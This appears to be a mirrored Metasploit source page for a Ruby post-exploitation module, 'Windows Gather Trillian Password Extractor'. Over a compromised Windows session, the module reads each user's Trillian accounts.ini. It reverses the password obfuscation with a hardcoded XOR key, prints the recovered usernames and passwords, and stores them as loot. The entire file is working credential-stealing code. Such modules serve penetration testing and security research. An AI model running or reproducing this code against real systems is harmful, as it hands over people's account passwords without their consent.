Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

trillian.rb 3.0KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. require 'rex'
  7. require 'rex/parser/ini'
  8. require 'msf/core/auxiliary/report'
  9. class MetasploitModule < Msf::Post
  10. include Msf::Post::Windows::Registry
  11. include Msf::Auxiliary::Report
  12. include Msf::Post::Windows::UserProfiles
  13. def initialize(info={})
  14. super(update_info(info,
  15. 'Name' => 'Windows Gather Trillian Password Extractor',
  16. 'Description' => %q{
  17. This module extracts account password from Trillian & Trillian Astra
  18. v4.x-5.x instant messenger.
  19. },
  20. 'License' => MSF_LICENSE,
  21. 'Author' =>
  22. [
  23. 'Sil3ntDre4m <sil3ntdre4m[at]gmail.com>',
  24. 'Unknown', # SecurityXploded Team, www.SecurityXploded.com
  25. ],
  26. 'Platform' => [ 'win' ],
  27. 'SessionTypes' => [ 'meterpreter' ]
  28. ))
  29. end
  30. def run
  31. grab_user_profiles().each do |user|
  32. accounts = user['AppData'] + "\\Trillian\\users\\global\\accounts.ini"
  33. next if user['AppData'] == nil
  34. next if accounts.empty?
  35. stat = session.fs.file.stat(accounts) rescue nil
  36. next if stat.nil?
  37. get_ini(accounts)
  38. end
  39. end
  40. def get_ini(file)
  41. begin
  42. config = client.fs.file.new(file,'r')
  43. parse = config.read
  44. ini = Rex::Parser::Ini.from_s(parse)
  45. if ini == {}
  46. print_error("Unable to parse file")
  47. return
  48. end
  49. creds = Rex::Text::Table.new(
  50. 'Header' => 'Trillian versions 4-5 Instant Messenger Credentials',
  51. 'Indent' => 1,
  52. 'Columns' =>
  53. [
  54. 'User',
  55. 'Password'
  56. ]
  57. )
  58. ini.each_key do |group|
  59. username = ini[group]['Account']
  60. epass = ini[group]['Password']
  61. next if epass == nil or epass == ""
  62. passwd = decrypt(epass).chop
  63. print_good("User: #{username} Password: #{passwd}")
  64. creds << [username, passwd]
  65. end
  66. print_status("Storing data...")
  67. path = store_loot(
  68. 'trillian.user.creds',
  69. 'text/csv',
  70. session,
  71. creds.to_csv,
  72. 'trillian_user_creds.csv',
  73. 'Trillian Instant Messenger User Credentials'
  74. )
  75. print_status("Trillian Instant Messenger user credentials saved in: #{path}")
  76. rescue ::Exception => e
  77. print_error("An error has occured: #{e.to_s}")
  78. end
  79. end
  80. def decrypt (epass)
  81. magicarr = [243, 38, 129, 196, 57, 134, 219, 146, 113, 163, 185, 230, 83,
  82. 122, 149, 124, 0, 0, 0, 0, 0, 0, 255, 0, 0, 128, 0, 0, 0, 128, 128, 0,
  83. 255, 0, 0, 0, 128, 0, 128, 0, 128, 128, 0, 0, 0, 128, 255, 0, 128, 0,
  84. 255, 0, 128, 128, 128, 0, 85, 110, 97, 98, 108, 101, 32, 116, 111, 32,
  85. 114, 101, 115, 111, 108, 118, 101, 32, 72, 84, 84, 80, 32, 112, 114, 111,
  86. 120, 0]
  87. decpass = Rex::Text.decode_base64(epass)
  88. plaintext = [decpass].pack("H*").unpack("C*")
  89. for i in 0 .. plaintext.length-2 do
  90. plaintext[i] ^= magicarr[i]
  91. end
  92. return plaintext.pack("C*")
  93. end
  94. end